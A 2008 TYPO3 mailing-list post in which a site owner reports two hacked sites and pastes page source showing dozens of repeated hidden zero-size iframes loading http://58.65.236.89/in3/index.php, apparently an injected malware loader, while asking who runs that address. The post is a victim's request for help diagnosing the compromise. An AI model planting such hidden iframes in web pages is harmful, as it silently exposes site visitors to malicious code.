[TYPO3] Typo3 sites HACKED!

Thu Mar 20 13:52:58 CET 2008

Hi List

Two of my Typo3-running website have been hacked. I am trying to figure 
out how but there is an unknown ip address 58.65.236.89 which belongs to 
HostFresh. Does anybody have an info on these guys?

My website are quite slow and shows some error messages like

Warning: Cannot modify header information - headers already sent by 
(output started at 
/home/micropro/public_html/typo3_src/t3lib/class.t3lib_timetrack.php:595) 
in /home/micropro/public_html/typo3_src/t3lib/class.t3lib_userauth.php 
on line 278

When I debugg the site using Firebug this is what I get below

##########################################################################

<html>
<head>
</head>
<body _dragdropupload="true" onload="T3_onloadWrapper();">
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>
<iframe width="0" height="0" border="0" 
src="http://58.65.236.89/in3/index.php">
</iframe>

##########################################################################

I have no idea how the <iframe> tag got in there as I have never used it

Regards
Theo